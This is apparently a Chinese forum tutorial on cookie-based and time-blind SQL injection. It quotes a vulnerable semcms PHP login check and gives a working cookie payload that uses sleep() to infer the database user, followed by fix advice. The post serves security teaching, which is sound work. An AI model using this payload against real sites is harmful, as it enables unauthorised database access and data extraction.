http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=9216&extra=page%3D1%26filter%3Dtypeid%26typeid%3D70?from=51ctobaibai

WEB安全系列之如何挖掘SQL注入漏洞(时间盲注+cookie注入)



0x01  前言   
     这是第四篇了~


0x02  什么是cookie注入
     在 ASP中,request对象获取客户端提交数据常用的是get和post两种方式,同时request对象可以不通过集合来获得数据,即直接使 用"request("name")". 但它效率低下,容易出错,当我们省略具体的集合名称时,asp是按 QueryString(get),Form(post),Cookie,Severvariable,集合的顺序来搜索的.cookie是保存在客户端 的一个文本文件,可以进行修改,这样一来,就可以利用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入***.    能够明确数据库模式、提取数据以及识别可注入参数。此种方式的***通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种***构造的查询执行 后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里加入语句诸如“waitfor 100”,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是“and l=l”、“and l=2”两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行***。

0x03  基于时间的盲注的危害
     与sql注入相同


0x04  实战案例
    semcms外贸网站管理系统PHP最新版
     /semcms/wqhr_Admin/Include/function.php    这里从cookie中获取scuser和scuserqx后,直接拼接到sql中,可以盲注。

[AppleScript] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
function checkuser ( ) { / / 判断账号
     $cookieuser = @htmlspecialchars ( $_COOKIE[ "scuser" ] ) ;
     $cookieuserqx = @htmlspecialchars ( $_COOKIE[ "scuserqx" ] ) ;
     $sql = "select * from sc_user where user_ps='$cookieuser' and user_qx='$cookieuserqx'" ;
     $ result = mysql_query ( $sql ) ;
     $row = mysql_fetch_array ( $ result , MYSQL_ASSOC ) ;
     if ( !mysql_num_rows ( $ result ) ) { echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>" ; }
     else { echo''; }     
    
}


http://127.0.0.1/semcms/wqhr_Admin/SEMCMS_Top_include.php
cookie:scuser=admin' or if(substring(user(),1,4)=0x726f6f74,sleep(5),1)-- 1
如果user()的前四个字符是root,则延迟
065850j99esjkd4lggteol.jpg
065855nh5ik5tt5tkt3xit.jpg
否则,不延迟
065856hgna6tann6t6ydgg.jpg
065857cg35gro9st3obznu.jpg
0x05  修复建议
     过滤危险字符,使用预编译进行增删改查

知识点, 文章, cookie, 表达式, mysql